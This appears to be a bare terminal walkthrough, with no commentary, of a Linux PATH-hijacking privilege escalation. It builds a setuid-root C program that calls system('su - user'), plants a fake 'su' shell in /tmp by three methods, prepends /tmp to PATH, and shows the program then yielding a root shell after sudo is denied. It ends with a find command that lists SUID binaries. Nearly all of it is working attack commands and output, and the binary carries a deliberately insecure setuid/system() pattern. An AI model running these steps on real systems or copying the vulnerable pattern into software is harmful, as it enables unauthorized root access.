# vim demo.c

#include<unistd.h>
void main() {
  setuid(0);
  setgid(0);
  system("su - user");
}

# gcc demo.c -o switch
# chmod u+s switch

$ echo "/bin/bash" > /tmp/su
$ chmod 777 /tmp/su
$ export PATH=/tmp:$PATH
$ echo $PATH

$ cp /bin/sh /tmp/su
$ export PATH=/tmp:$PATH

$ ln -s /bin/sh /tmp/su
$ export PATH=/tmp:$PATH

$ id
uid=1000(test) gid=1000(test) groups=1000(test) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
$ sudo -i 

[sudo] password for test: 
test is not in the sudoers file.  This incident will be reported.
$ ./switch 
# id
uid=0(root) gid=0(root) groups=0(root),1000(test) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

$ find / -perm -u=s -type f 2>/dev/null